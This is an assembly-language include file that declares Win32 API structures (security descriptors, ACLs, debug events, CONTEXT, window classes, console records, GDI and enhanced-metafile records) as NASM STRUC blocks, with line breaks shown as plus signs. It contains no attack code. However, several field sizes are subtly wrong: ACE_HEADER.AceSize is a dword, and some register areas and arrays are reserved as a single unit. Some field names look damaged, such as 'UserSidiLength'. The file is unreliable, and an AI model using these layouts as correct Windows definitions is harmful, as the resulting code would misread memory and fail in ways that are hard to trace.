1+.dwMemoryLoad RESD 1+.dwTotalPhys RESD 1+.dwAvailPhys RESD 1+.dwTotalPageFile RESD 1+.dwAvailPageFile RESD 1+.dwTotalVirtual RESD 1+.dwAvailVirtual RESD 1+ENDSTRUC++STRUC TPMPARAMS+.cbSize RESD 1+.rcExclude RESB RECT_size+ENDSTRUC++STRUC GENERIC_MAPPING+.GenericRead RESD 1+.GenericWrite RESD 1+.GenericExecute RESD 1+.GenericAll RESD 1+ENDSTRUC++STRUC LUID+.LowPart RESD 1+.HighPart RESD 1+ENDSTRUC++STRUC LUID_AND_ATTRIBUTES+.pLuid RESD 1+.Attributes RESD 1+ENDSTRUC++STRUC ACL+.AclRevision RESB 1+.Sbz1 RESB 1+.AclSize RESW 1+.AceCount RESW 1+.Sbz2 RESW 1+ENDSTRUC++STRUC ACE_HEADER+.AceType RESB 1+.AceFlags RESB 1+.AceSize RESD 1+ENDSTRUC++STRUC ACCESS_ALLOWED_ACE+.Header RESD 1+.imask RESD 1+.SidStart RESD 1+ENDSTRUC++STRUC ACCESS_DENIED_ACE+.Header RESD 1+.imask RESD 1+.SidStart RESD 1+ENDSTRUC++STRUC SYSTEM_AUDIT_ACE+.Header RESD 1+.imask RESD 1+.SidStart RESD 1+ENDSTRUC++STRUC SYSTEM_ALARM_ACE+.Header RESD 1+.imask RESD 1+.SidStart RESD 1+ENDSTRUC++STRUC ACL_REVISION_INFORMATION+.AclRevision RESD 1+ENDSTRUC++STRUC ACL_SIZE_INFORMATION+.AceCount RESD 1+.AclBytesInUse RESD 1+.AclBytesFree RESD 1+ENDSTRUC++STRUC SECURITY_DESCRIPTOR+.Revision RESB 1+.Sbz1 RESB 1+.Control RESD 1+.Owner RESD 1+.lGroup RESD 1+.Sacl RESD 1+.Dacl RESD 1+ENDSTRUC++STRUC PRIVILEGE_SET+.PrivilegeCount RESD 1+.Control RESD 1+.Privilege RESD 1+ENDSTRUC++STRUC EXCEPTION_RECORD+.ExceptionCode RESD 1+.ExceptionFlags RESD 1+.pExceptionRecord RESD 1+.ExceptionAddress RESD 1+.NumberParameters RESD 1+.ExceptionInformation RESD 1+ENDSTRUC++STRUC EXCEPTION_DEBUG_INFO+.pExceptionRecord RESD 1+.dwFirstChance RESD 1+ENDSTRUC++STRUC CREATE_THREAD_DEBUG_INFO+.hThread RESD 1+.lpThreadLocalBase RESD 1+.lpStartAddress RESD 1+ENDSTRUC++STRUC CREATE_PROCESS_DEBUG_INFO+.hFile RESD 1+.hProcess RESD 1+.hThread RESD 1+.lpBaseOfImage RESD 1+.dwDebugInfoFileOffset RESD 1+.nDebugInfoSize RESD 1+.lpThreadLocalBase RESD 1+.lpStartAddress RESD 1+.lpImageName RESD 1+.fUnicode RESD 1+ENDSTRUC++STRUC EXIT_THREAD_DEBUG_INFO+.dwExitCode RESD 1+ENDSTRUC++STRUC EXIT_PROCESS_DEBUG_INFO+.dwExitCode RESD 1+ENDSTRUC++STRUC LOAD_DLL_DEBUG_INFO+.hFile RESD 1+.lpBaseOfDll RESD 1+.dwDebugInfoFileOffset RESD 1+.nDebugInfoSize RESD 1+.lpImageName RESD 1+.fUnicode RESW 1+ENDSTRUC++STRUC UNLOAD_DLL_DEBUG_INFO+.lpBaseOfDll RESD 1+ENDSTRUC++STRUC OUTPUT_DEBUG_STRING_INFO+.lpDebugStringData RESD 1+.fUnicode RESW 1+.nDebugStringiLength RESW 1+ENDSTRUC++STRUC RIP_INFO+.dwError RESD 1+.dwType RESD 1+ENDSTRUC++STRUC OFSTRUCT+.cBytes RESB 1+.fFixedDisk RESB 1+.nErrCode RESW 1+.Reserved1 RESW 1+.Reserved2 RESW 1+.szPathName RESB 1+ENDSTRUC++STRUC WNDCLASSEX+.cbSize RESD 1+.style RESD 1+.lpfnWndProc RESD 1+.cbClsExtra RESD 1+.cbWndExtra RESD 1+.hInstance RESD 1+.hIcon RESD 1+.hCursor RESD 1+.hbrBackground RESD 1+.lpszMenuName RESD 1+.lpszClassName RESD 1+.hIconSm RESD 1+ENDSTRUC++STRUC WNDCLASS+.style RESD 1+.lpfnWndProc RESD 1+.cbClsExtra RESD 1+.cbWndExtra RESD 1+.hInstance RESD 1+.hIcon RESD 1+.hCursor RESD 1+.hbrBackground RESD 1+.lpszMenuName RESD 1+.lpszClassName RESD 1+ENDSTRUC++STRUC CRITICAL_SECTION+.Par1 RESD 1+.Par2 RESD 1+.Par3 RESD 1+.Par4 RESD 1+.Par5 RESD 1+.Par6 RESD 1+ENDSTRUC++STRUC BY_HANDLE_FILE_INFORMATION+.dwFileAttributes RESD 1+.ftCreationTime RESB FILETIME_size+.ftLastAccessTime RESB FILETIME_size+.ftLastWriteTime RESB FILETIME_size+.dwVolumeSerialNumber RESD 1+.nFileSizeHigh RESD 1+.nFileSizeLow RESD 1+.nNumberOfLinks RESD 1+.nFileIndexHigh RESD 1+.nFileIndexLow RESD 1+ENDSTRUC++STRUC MEMORY_BASIC_INFORMATION+.BaseAddress RESD 1+.AllocationBase RESD 1+.AllocationProtect RESD 1+.RegionSize RESD 1+.State RESD 1+.Protect RESD 1+.lType RESD 1+ENDSTRUC++STRUC EVENTLOGRECORD+.iLength RESD 1+.Reserved RESD 1+.RecordNumber RESD 1+.TimeGenerated RESD 1+.TimeWritten RESD 1+.EventID RESD 1+.EventType RESW 1+.NumStrings RESW 1+.EventCategory RESW 1+.ReservedFlags RESW 1+.ClosingRecordNumber RESD 1+.StringOffset RESD 1+.UserSidiLength RESD 1+.UserSidOffset RESD 1+.DataiLength RESD 1+.DataOffset RESD 1+ENDSTRUC++STRUC TOKEN_GROUPS+.GroupCount RESD 1+.Groups RESD 1+ENDSTRUC++STRUC TOKEN_PRIVILEGES+.PrivilegeCount RESD 1+.Privileges RESD 1+ENDSTRUC++STRUC FLOATING_SAVE_AREA+.ControlWord RESD 1+.StatusWord RESD 1+.TagWord RESD 1+.ErrorOffset RESD 1+.ErrorSelector RESD 1+.DataOffset RESD 1+.DataSelector RESD 1+.RegisterArea RESB 1+.Cr0NpxState RESD 1+ENDSTRUC++STRUC CONTEXT+.ContextFlags RESD 1+.iDr0 RESD 1+.iDr1 RESD 1+.iDr2 RESD 1+.iDr3 RESD 1+.iDr6 RESD 1+.iDr7 RESD 1+.FloatSave RESD 1+.regGs RESD 1+.regFs RESD 1+.regEs RESD 1+.regDs RESD 1+.regEdi RESD 1+.regEsi RESD 1+.regEbx RESD 1+.regEdx RESD 1+.regEcx RESD 1+.regEax RESD 1+.regEbp RESD 1+.regEip RESD 1+.regCs RESD 1+.regFlag RESD 1+.regEsp RESD 1+.regSs RESD 1+ENDSTRUC++STRUC EXCEPTION_POINTERS+.pExceptionRecord RESD 1+.ContextRecord RESD 1+ENDSTRUC++STRUC LDT_BYTES+.BaseMid RESB 1+.Flags1 RESB 1+.Flags2 RESB 1+.BaseHi RESB 1+ENDSTRUC++STRUC LDT_ENTRY+.LimitLow RESW 1+.BaseLow RESW 1+.HiWord RESD 1+ENDSTRUC++STRUC TIME_ZONE_INFORMATION+.Bias RESD 1+.StandardName RESW 1+.StandardDate RESD 1+.StandardBias RESD 1+.DaylightName RESW 1+.DaylightDate RESD 1+.DaylightBias RESD 1+ENDSTRUC++STRUC WIN32_STREAM_ID+.dwStreamID RESD 1+.dwStreamAttributes RESD 1+.dwStreamSizeLow RESD 1+.dwStreamSizeHigh RESD 1+.dwStreamNameSize RESD 1+.cStreamName RESB 1+ENDSTRUC++STRUC STARTUPINFO+.cb RESD 1+.lpReserved RESD 1+.lpDesktop RESD 1+.lpTitle RESD 1+.dwX RESD 1+.dwY RESD 1+.dwXSize RESD 1+.dwYSize RESD 1+.dwXCountChars RESD 1+.dwYCountChars RESD 1+.dwFillAttribute RESD 1+.dwFlags RESD 1+.wShowWindow RESW 1+.cbReserved2 RESW 1+.lpReserved2 RESB 1+.hStdInput RESD 1+.hStdOutput RESD 1+.hStdError RESD 1+ENDSTRUC++STRUC WIN32_FIND_DATA+.dwFileAttributes RESD 1+.ftCreationTime RESB FILETIME_size+.ftLastAccessTime RESB FILETIME_size+.ftLastWriteTime RESB FILETIME_size+.nFileSizeHigh RESD 1+.nFileSizeLow RESD 1+.dwReserved0 RESD 1+.dwReserved1 RESD 1+.cFileName RESB MAX_PATH+.cAlternate RESB 14+ENDSTRUC++STRUC CPINFO+.MaxCharSize RESD 1+.DefaultChar RESB 1+.LeadByte RESB 1+ENDSTRUC++STRUC NUMBERFMT+.NumDigits RESD 1+.LeadingZero RESD 1+.Grouping RESD 1+.lpDecimalSep RESD 1+.lpThousandSep RESD 1+.NegativeOrder RESD 1+ENDSTRUC++STRUC CURRENCYFMT+.NumDigits RESD 1+.LeadingZero RESD 1+.Grouping RESD 1+.lpDecimalSep RESD 1+.lpThousandSep RESD 1+.NegativeOrder RESD 1+.PositiveOrder RESD 1+.lpCurrencySymbol RESD 1+ENDSTRUC++STRUC COORD+.x RESW 1+.y RESW 1+ENDSTRUC++STRUC SMALL_RECT+.left RESW 1+.top RESW 1+.right RESW 1+.bottom RESW 1+ENDSTRUC++STRUC KEY_EVENT_RECORD+.bKeyDown RESD 1+.wRepeatCount RESW 1+.wVirtualKeyCode RESW 1+.wVirtualScanCode RESW 1+.uChar RESW 1+.dwControlKeyState RESD 1+ENDSTRUC++STRUC MOUSE_EVENT_RECORD+.dwMousePosition RESD 1+.dwButtonState RESD 1+.dwControlKeyState RESD 1+.dwEventFlags RESD 1+ENDSTRUC++STRUC WINDOW_BUFFER_SIZE_RECORD+.dwSize RESD 1+ENDSTRUC++STRUC MENU_EVENT_RECORD+.dwCommandId RESD 1+ENDSTRUC++STRUC FOCUS_EVENT_RECORD+.bSetFocus RESD 1+ENDSTRUC++STRUC CHAR_INFO+.Char RESW 1+.Attributes RESW 1+ENDSTRUC++STRUC CONSOLE_SCREEN_BUFFER_INFO+.dwSize RESD 1+.dwCursorPosition RESD 1+.wAttributes RESW 1+.srWindow RESB SMALL_RECT_size+.dwMaximumWindowSize RESD 1+ENDSTRUC++STRUC CONSOLE_CURSOR_INFO+.dwSize RESD 1+.bVisible RESD 1+ENDSTRUC++STRUC XFORM+.eM11 RESQ 1+.eM12 RESQ 1+.eM21 RESQ 1+.eM22 RESQ 1+.ex RESQ 1+.ey RESQ 1+ENDSTRUC++STRUC BITMAP+.bmType RESD 1+.bmWidth RESD 1+.bmHeight RESD 1+.bmWidthBytes RESD 1+.bmPlanes RESW 1+.bmBitsPixel RESW 1+.bmBits RESD 1+ENDSTRUC++STRUC RGBTRIPLE+.rgbtBlue RESB 1+.rgbtGreen RESB 1+.rgbtRed RESB 1+ENDSTRUC++STRUC RGBQUAD+.rgbBlue RESB 1+.rgbGreen RESB 1+.rgbRed RESB 1+.rgbReserved RESB 1+ENDSTRUC++STRUC BITMAPCOREHEADER+.bcSize RESD 1+.bcWidth RESW 1+.bcHeight RESW 1+.bcPlanes RESW 1+.bcBitCount RESW 1+ENDSTRUC++STRUC BITMAPINFOHEADER+.biSize RESD 1+.biWidth RESD 1+.biHeight RESD 1+.biPlanes RESW 1+.biBitCount RESW 1+.biCompression RESD 1+.biSizeImage RESD 1+.biXPelsPerMeter RESD 1+.biYPelsPerMeter RESD 1+.biClrUsed RESD 1+.biClrImportant RESD 1+ENDSTRUC++STRUC BITMAPINFO+.bmiHeader RESD 1+.bmiColors RESD 1+ENDSTRUC++STRUC BITMAPCOREINFO+.bmciHeader RESD 1+.bmciColors RESD 1+ENDSTRUC++STRUC BITMAPFILEHEADER+.bfType RESW 1+.bfSize RESD 1+.bfReserved1 RESW 1+.bfReserved2 RESW 1+.bfOffBits RESD 1+ENDSTRUC++STRUC HANDLETABLE+.objectHandle RESD 1+ENDSTRUC++STRUC METARECORD+.rdSize RESD 1+.rdFunction RESW 1+.rdParm1 RESW 1+ENDSTRUC++STRUC METAFILEPICT+.imm RESD 1+.xExt RESD 1+.yExt RESD 1+.hMF RESD 1+ENDSTRUC++STRUC METAHEADER+.mtType RESW 1+.mtHeaderSize RESW 1+.mtVersion RESW 1+.mtSize RESD 1+.mtNoObjects RESW 1+.mtMaxRecord RESD 1+.mtNoParameters RESW 1+ENDSTRUC++STRUC ENHMETARECORD+.iType RESD 1+.nSize RESD 1+.dParm1 RESD 1+ENDSTRUC++STRUC ENHMETAHEADER+.iType RESD 1+.nSize RESD 1+.rclBounds RESB RECT_size+.rclFrame RESB RECT_size+.dSignature RESD 1+.nVersion RESD 1+.nBytes RESD 1+.nRecords RESD 1+.nHandles RESW 1+.sReserved RESW 1+.nDescription RESD 1+.offDescription RESD 1+.nPalEntries RESD 1+.szlDevice RESD 1+.szlMillimeters RESD 1+ENDSTRUC++STRUC TEXTMETRIC+.tmHeight RESD 1+.tmAscent RESD 1+.tmDescent RESD 1+.tmInternalLeading RESD 1+.tmExternalLeading RESD 1+.tmAveCharWidth RESD 1+.tmMaxCharWidth RESD 1+.tmWeight RESD 1+.tmOverhang RESD 1+.tmDigitizedAspectX RESD 1+.tmDigitizedAspectY RESD 1+.tmFirstChar RESB 1+.tmLastChar RESB 1+.tmDefaultChar RESB 1+.tmBreakChar RESB 1+.tmItalic RESB 1+.tmUnderlined RESB 1+.tmStruckOut RESB 1+.tmPitchAndFamily RESB 1+.tmCharSet RESB 1+ENDSTRUC++STRUC NEWTEXTMETRIC+.tmHeight RESD 1+.tmAscent RESD 1+.tmDescent RESD 1+.tmInternalLeading RESD 1+.tmExternalLeading RESD 1+.tmAveCharWidth RESD 1+.tmMaxCharWidth RESD 1+.tmWeight RESD 1+.tmOverhang RESD 1+.tmDigitizedAspectX RESD 1+.tmDigitizedAspectY RESD 1+.tmFirstChar RESB 1+.tmLastChar RESB 1+.tmDefaultChar RESB 1+.tmBreakChar RESB 1+.tmItalic RESB 1+.tmUnderlined RESB 1+.tmStruckOut RESB 1+.tmPitchAndFamily RESB 1+.tmCharSet RESB 1+.ntmFlags RESD 1+.ntmSizeEM RESD 1+.ntmCellHeight RESD 1+.ntmAveWidth RESD 1+ENDSTRUC++STRUC PELARRAY+.paXCount RESD 1+.paYCount RESD 1+.paXExt RESD 1+.paYExt RESD 1+.paRGBs RESW 1+ENDSTRUC++STRUC LOGBRUSH+.lbStyle RESD 1+.lbColor RESD 1+.lbHatch RESD 1+ENDSTRUC++STRUC LOGPEN+.lopnStyle RESD 1+.lopnWidth RESD 1+.lopnColor RESD 1+ENDSTRUC++STRUC EXTLOGPEN+.elpPenStyle RESD 1+.elpWidth RESD 1+.elpBrushStyle RESD 1+.elpColor RESD 1+.elpHatch RESD 1+.elpNumEntries RESD 1+.elpStyleEntry RESD 1+ENDSTRUC++STRUC PALETTEENTRY+.peRed RESB 1+.peGreen RESB 1+.peBlue RESB 1+.peFlags RESB 1+ENDSTRUC++STRUC LOGPALETTE+.palVersion RESW 1+.palNumEntries RESW 1+.palPalEntry RESD 1+ENDSTRUC++STRUC LOGFONT+.lfHeight RESD 1+.lfWidth RESD 1+.lfEscapement RESD 1+.lfOrientation RESD 1+.lfWeight RESD 1+.lfItalic RESB 1+.lfUnderline RESB 1+.lfStrikeOut RESB 1+.lfCharSet RESB 1+.lfOutPrecision RESB 1+.lfClipPrecision RESB 1+.lfQuality RESB 1+.lfPitchAndFamily RESB 1+.lfFaceName RESB LF_FACESIZE+ENDSTRUC++STRUC NONCLIENTMETRICS+.cbSize RESD 1+.iBorderWidth RESD 1+.iScrollWidth RESD 1+.iScrollHeight RESD 1+.iCaptionWidth RESD 1+.iCaptionHeight RESD 1+.lfCaptionFont RESD 1+.iSMCaptionWidth RESD 1+.iSMCaptionHeight RESD 1+.lfSMCaptionFont RESD 1+.iMenuWidth RESD 1+.iMenuHeight RESD 1+.lfMenuFont RESD 1+.lfStatusFont RESD 1+.lfMessageFont RESD 1+ENDSTRUC++STRUC ENUMLOGFONT+.elfLogFont RESD 1+.elfFullName RESB 1+.elfStyle RESB 1+ENDSTRUC++STRUC PANOSE+.ulculture RESD 1+.bFamilyType RESB 1+.bSerifStyle RESB 1+.bWeight RESB 1+.bProportion RESB 1+.bContrast RESB 1+.bStrokeVariation RESB 1+.bArmStyle RESB 1+.bLetterform RESB 1+.bMidline RESB 1+.bXHeight RESB 1+ENDSTRUC++STRUC EXTLOGFONT+.elfLogFont RESD 1+.elfFullName RESB 1+.elfStyle RESB 1+.elfVersion RESD 1+.elfStyleSize RESD 1+.elfMatch RESD 1+.elfReserved RESD 1+.elfVendorId RESB 1+.elfCulture RESD 1+.elfPanose RESD 1+ENDSTRUC++STRUC DEVMODE+.dmDeviceName RESB 1+.dmSpecVersion RESW 1+.dmDriverVersion RESW 1+.dmSize RESW 1+.dmDriverExtra RESW 1+.dmFields RESD 1+.dmOrientation RESW 1+.dmPaperSize RESW 1+.dmPaperiLength RESW 1+.dmPaperWidth RESW 1+.dmScale RESW 1+.dmCopies RESW 1+.dmDefaultSource RESW 1+.dmPrintQuality RESW 1+.dmColor RESW 1+.dmDuplex RESW 1+.dmYResolution RESW 1+.dmTTOption RESW 1+.dmCollate RESW 1+.dmFormName RESB CCHFORMNAME+.dmUnusedPadding RESW 1+.dmBitsPerPel RESW 1+.dmPelsWidth RESD 1+.dmPelsHeight RESD 1+.dmDisplayFlags RESD 1+.dmDisplayFrequency RESD 1+ENDSTRUC++STRUC RGNDATAHEADER+.dwSize RESD 1+.iType RESD 1+.nCount RESD 1+.nRgnSize RESD 1+.rcBound RESB RECT_size+ENDSTRUC++STRUC RGNDATA+.rdh RESD 1+.Buffer RESB 1+ENDSTRUC++STRUC ABC+.abcA RESD 1+.abcB RESD 1+.abcC RESD 1+ENDSTRUC++STRUC ABCFLOAT+.abcfA RESQ 1+.abcfB RESQ 1+.abcfC RESQ 1+ENDSTRUC++STRUC OUTLINETEXTMETRIC+.otmSize RESD 1+.otmTextMetrics RESD 1+.otmFiller RESB 1+.otmPanoseNumber RESD 1+.otmfsSelection RESD 1+.otmfsType RESD 1+.otmsCharSlopeRise RESD 1+.otmsCharSlopeRun RESD 1+.otmItalicAngle RESD 1+.otmEMSquare RESD 1+.otmAscent RESD 1+.otmDescent RESD 1+.otmLineGap RESD 1+.otmsCapEmHeight RESD 1+.otmsXHeight RESD 1+.otmrcFontBox RESB RECT_size+.otmMacAscent RESD 1+.otmMacDescent RESD 1+.otmMacLineGap RESD 1+.otmusMinimumPPEM RESD 1+.otmptSubscriptSize RESD 1+.otmptSubscriptOffset RESD 1+.otmptSuperscriptSize RESD 1+.otmptSuperscriptOffset RESD 1+.otmsStrikeoutSize RESD 1+.otmsStrikeoutPosition RESD 1+.otmsUnderscorePosition RESD 1+.otmsUnderscoreSize RESD 1+.otmpFamilyName RESD 1+.otmpFaceName RESD 1+.otmpStyleName RESD 1+.otmpFullName RESD 1+ENDSTRUC++STRUC POLYTEXT+.x RESD 1+.y RESD 1+.n RESD 1+.lpStr RESD 1+.uiFlags RESD 1+.rcl RESB RECT_size+.pdx RESD 1+ENDSTRUC++STRUC FIXED+.fract RESW 1+.Value RESW 1+ENDSTRUC++STRUC MAT2+.eM11 RESD 1+.eM12 RESD 1+.eM21 RESD 1+.eM22 RESD 1+ENDSTRUC++STRUC GLYPHMETRICS+.gmBlackBoxX RESD 1+.gmBlackBoxY RESD 1+.gmptGlyphOrigin RESD 1+.gmCellIncX RESW 1+.gmCellIncY RESW 1+ENDSTRUC++STRUC POINTFX+.x RESD 1+.y RESD 1+ENDSTRUC++STRUC TTPOLYCURVE+.wType RESW 1+.cpfx RESW 1+.apfx RESD 1+ENDSTRUC++STRUC TTPOLYGONHEADER+.cb RESD 1+.dwType RESD 1+.pfxStart RESD 1+ENDSTRUC++STRUC RASTERIZER_STATUS+.nSize RESW 1+.wFlags RESW 1+.nLanguageID RESW 1+ENDSTRUC++STRUC COLORADJUSTMENT+.caSize RESW 1+.caFlags RESW 1+.caIlluminantIndex RESW 1+.caRedGamma RESW 1+.caGreenGamma RESW 1+.caBlueGamma RESW 1+.caReferenceBlack RESW 1+.caReferenceWhite RESW 1+.caContrast RESW 1+.caBrightness RESW 1+.caColorfulness RESW 1+.caRedGreenTint RESW 1+ENDSTRUC++STRUC DOCINFO+.cbSize RESD 1+.lpszDocName RESD 1+.lpszOutput RESD 1+ENDSTRUC++STRUC KERNINGPAIR+.wFirst RESW 1+.wSecond RESW 1+.iKernAmount RESD 1+ENDSTRUC++STRUC emr+.iType RESD 1+.nSize RESD 1+ENDSTRUC++STRUC emrtext+.ptlReference RESB POINT_size+.nchars RESD 1+.offString RESD 1+.fOptions RESD 1+.ircl RESD 1+.offDx RESD 1+ENDSTRUC++STRUC EMR+.iType RESD 1+.nSize RESD 1+ENDSTRUC++STRUC EMRABORTPATH+.emr RESB EMR_size+ENDSTRUC++STRUC EMRBEGINPATH+.emr RESB EMR_size+ENDSTRUC++STRUC EMRENDPATH+.emr RESB EMR_size+ENDSTRUC++STRUC EMRCLOSEFIGURE+.emr RESB EMR_size+ENDSTRUC++STRUC EMRFLATTENPATH+.emr RESB EMR_size+ENDSTRUC++STRUC EMRWIDENPATH+.emr RESB EMR_size+ENDSTRUC++STRUC EMRSETMETARGN+.emr RESB EMR_size+ENDSTRUC++STRUC EMREMRSAVEDC+.emr RESB EMR_size+ENDSTRUC++STRUC EMRREALIZEPALETTE+.emr RESB EMR_size+ENDSTRUC++STRUC EMRSELECTCLIPPATH+.emr RESB EMR_size+.iMode RESD 1+ENDSTRUC++STRUC EMRSETBKMODE+.emr RESB EMR_size+.iMode RESD 1+ENDSTRUC++STRUC EMRSETMAPMODE+.emr RESB EMR_size+.iMode RESD 1+ENDSTRUC++STRUC EMRSETPOLYFILLMODE+.emr RESB EMR_size+.iMode RESD 1+ENDSTRUC++STRUC EMRSETROP2+.emr RESB EMR_size+.iMode RESD 1+ENDSTRUC++STRUC EMRSETSTRETCHBLTMODE+.emr RESB EMR_size+.iMode RESD 1+ENDSTRUC++STRUC EMRSETTEXTALIGN+.emr RESB EMR_size+.iMode RESD 1+ENDSTRUC++STRUC EMRSETMITERLIMIT+.emr RESB EMR_size+.eMiterLimit RESQ 1+ENDSTRUC++STRUC EMRRESTOREDC+.emr RESB EMR_size+.iRelative RESD 1+ENDSTRUC++STRUC EMRSETARCDIRECTION+.emr RESB EMR_size+.iArcDirection RESD 1+ENDSTRUC++STRUC EMRSETMAPPERFLAGS+.emr RESB EMR_size+.dwFlags RESD 1+ENDSTRUC++STRUC EMRSETTEXTCOLOR+.emr RESB EMR_size+.crColor RESD 1+ENDSTRUC++STRUC EMRSETBKCOLOR+.emr RESB EMR_size+.crColor RESD 1+ENDSTRUC++STRUC EMRSELECTOBJECT+.emr RESB EMR_size+.ihObject RESD 1+ENDSTRUC++STRUC EMRDELETEOBJECT+.emr RESB EMR_size+.ihObject RESD 1+ENDSTRUC++STRUC EMRSELECTPALETTE+.emr RESB EMR_size+.ihPal RESD 1+ENDSTRUC++STRUC EMRRESIZEPALETTE+.emr RESB EMR_size+.ihPal RESD 1+.cEntries RESD 1+ENDSTRUC++STRUC EMRSETPALETTEENTRIES+.emr RESB EMR_size+.ihPal RESD 1+.iStart RESD 1+.cEntries RESD 1+.aPalEntries RESD 1+ENDSTRUC++STRUC EMRSETCOLORADJUSTMENT+.emr RESB EMR_size+.ColorAdjustment RESD 1+ENDSTRUC++STRUC EMRGDICOMMENT+.emr RESB EMR_size+.cbData RESD 1+.xData1 RESW 1+ENDSTRUC++STRUC EMREOF+.emr RESB EMR_size+.nPalEntries RESD 1+.offPalEntries RESD 1+.nSizeLast RESD 1+ENDSTRUC++STRUC EMRLINETO+.emr RESB EMR_size+.ptl RESB POINT_size+ENDSTRUC++STRUC EMRMOVETOEX+.emr RESB EMR_size+.ptl RESB POINT_size+ENDSTRUC++STRUC EMROFFSETCLIPRGN+.emr RESB EMR_size+.ptlOffset RESB POINT_size+ENDSTRUC++STRUC EMRFILLPATH+.emr RESB EMR_size+.rclBounds RESB RECT_size+ENDSTRUC++STRUC EMRSTROKEANDFILLPATH+.emr RESB EMR_size+.rclBounds RESB RECT_size+ENDSTRUC++STRUC EMRSTROKEPATH+.emr RESB EMR_size+.rclBounds RESB RECT_size+ENDSTRUC++STRUC EMREXCLUDECLIPRECT+.emr RESB EMR_size+.rclClip RESB RECT_size+ENDSTRUC++STRUC EMRINTERSECTCLIPRECT+.emr RESB EMR_size+.rclClip RESB RECT_size+ENDSTRUC++STRUC EMRSETVIEWPORTORGEX+.emr RESB EMR_size+.ptlOrigin RESB POINT_size+ENDSTRUC++STRUC EMRSETWINDOWORGEX+.emr RESB EMR_size+.ptlOrigin RESB POINT_size+ENDSTRUC++STRUC EMRSETBRUSHORGEX+.emr RESB EMR_size+.ptlOrigin RESB POINT_size+ENDSTRUC++STRUC EMRSETVIEWPORTEXTEX+.emr RESB EMR_size+.szlExtent RESD 1+ENDSTRUC++STRUC EMRSETWINDOWEXTEX+.emr RESB EMR_size+.szlExtent RESD 1+ENDSTRUC++STRUC EMRSCALEVIEWPORTEXTEX+.emr RESB EMR_size+.xNum RESD 1+.xDenom RESD 1+.yNum RESD 1+.yDemon RESD 1+ENDSTRUC++STRUC EMRSCALEWINDOWEXTEX+.emr RESB EMR_size+.xNum RESD 1+.xDenom RESD 1+.yNum RESD 1+.yDemon RESD 1+ENDSTRUC++STRUC EMRSETWORLDTRANSFORM+.emr RESB EMR_size+.xform RESD 1+ENDSTRUC++STRUC EMRMODIFYWORLDTRANSFORM+.emr RESB EMR_size+.xform RESD 1+.iMode RESD 1+ENDSTRUC++STRUC EMRSETPIXELV+.emr RESB EMR_size+.ptlPixel RESB POINT_size+.crColor RESD 1+ENDSTRUC++STRUC EMREXTFLOODFILL+.emr RESB EMR_size+.ptlStart RESB POINT_size+.crColor RESD 1+.iMode RESD 1+ENDSTRUC++STRUC EMRELLIPSE+.emr RESB EMR_size+.rclBox RESB RECT_size+ENDSTRUC++STRUC EMRRECTANGLE+.emr RESB EMR_size+.rclBox RESB RECT_size+ENDSTRUC++STRUC EMRROUNDRECT+.emr RESB EMR_size+.rclBox RESB RECT_size+.szlCorner RESD 1+ENDSTRUC++STRUC EMRARC+.emr RESB EMR_size+.rclBox RESB RECT_size+.ptlStart RESB POINT_size+.ptlEnd RESB POINT_size+ENDSTRUC++STRUC EMRARCTO+.emr RESB EMR_size+.rclBox RESB RECT_size+.ptlStart RESB POINT_size+.ptlEnd RESB POINT_size+ENDSTRUC++STRUC EMRCHORD+.emr RESB EMR_size+.rclBox RESB RECT_size+.ptlStart RESB POINT_size+.ptlEnd RESB POINT_size+ENDSTRUC++STRUC EMRPIE+.emr RESB EMR_size+.rclBox RESB RECT_size+.ptlStart RESB POINT_size+.ptlEnd RESB POINT_size+ENDSTRUC++STRUC EMRANGLEARC+.emr RESB EMR_size+.ptlCenter RESB POINT_size+.nRadius RESD 1+.eStartAngle RESQ 1+.eSweepAngle RESQ 1+ENDSTRUC++STRUC EMRPOLYLINE+.emr RESB EMR_size+.rclBounds RESB RECT_size+.cptl RESD 1+.aptl1 RESD 1+ENDSTRUC++STRUC EMRPOLYBEZIER+.emr RESB EMR_size+.rclBounds RESB RECT_size+.cptl RESD 1+.aptl1 RESD 1+ENDSTRUC++STRUC EMRPOLYGON+.emr RESB EMR_size+.rclBounds RESB RECT_size+.cptl RESD 1+.aptl1 RESD 1+ENDSTRUC++STRUC EMRPOLYBEZIERTO+.emr RESB EMR_size+.rclBounds RESB RECT_size+.cptl RESD 1+.aptl1 RESD 1+ENDSTRUC++STRUC EMRPOLYLINE16+.emr RESB EMR_size+.rclBounds RESB RECT_size+.cpts RESD 1+.apts1 RESD 1+ENDSTRUC++STRUC EMRPOLYBEZIER16+.emr RESB EMR_size+.rclBounds RESB RECT_size+.cpts RESD 1+.apts1 RESD 1+ENDSTRUC++STRUC EMRPOLYGON16+.emr RESB EMR_size+.rclBounds RESB RECT_size+.cpts RESD 1+.apts1 RESD 1+ENDSTRUC++STRUC EMRPLOYBEZIERTO16+.emr RESB EMR_size+.rclBounds RESB RECT_size+.cpts RESD 1+.apts1 RESD 1+ENDSTRUC++STRUC EMRPOLYLINETO16+.emr RESB EMR_size+.rclBounds RESB RECT_size+.cpts RESD 1+.apts1 RESD 1+ENDSTRUC++STRUC EMRPOLYDRAW+.emr RESB EMR_size+.rclBounds RESB RECT_size+.cptl RESD 1+.aptl1 RESD 1+.abTypes1 RESW 1+ENDSTRUC++STRUC EMRPOLYDRAW16+.emr RESB EMR_size+.rclBounds RESB RECT_size+.cpts RESD 1+.apts RESD 1+.abTypes RESW 1+ENDSTRUC++STRUC EMRPOLYPOLYLINE+.emr RESB EMR_size+.rclBounds RESB RECT_size+.nPolys RESD 1+.cptl RESD 1+.aPolyCounts RESD 1+.aptl RESD 1+ENDSTRUC++STRUC EMRPOLYPOLYGON+.emr RESB EMR_size+.rclBounds RESB RECT_size+.nPolys RESD 1+.cptl RESD 1+.aPolyCounts RESD 1+.aptl1 RESD 1+ENDSTRUC++STRUC EMRPOLYPOLYLINE16+.emr RESB EMR_size+.rclBounds RESB RECT_size+.nPolys RESD 1+.cpts RESD 1+.aPolyCounts RESD 1+.apts1 RESD 1+ENDSTRUC++STRUC EMRPOLYPOLYGON16+.emr RESB EMR_size+.rclBounds RESB RECT_size+.nPolys RESD 1+.cpts RESD 1+.aPolyCounts RESD 1+.apts1 RESD 1+ENDSTRUC++STRUC EMRINVERTRGN+.emr RESB EMR_size+.rclBounds RESB RECT_size+.cbRgnData RESD 1+.RgnData1 RESW 1+ENDSTRUC++STRUC EMRPAINTRGN+.emr RESB EMR_size+.rclBounds RESB RECT_size+.cbRgnData RESD 1+.RgnData1 RESW 1+ENDSTRUC++STRUC EMRFILLRGN+.emr RESB EMR_size+.rclBounds RESB RECT_size+.cbRgnData RESD 1+.ihBrush RESD 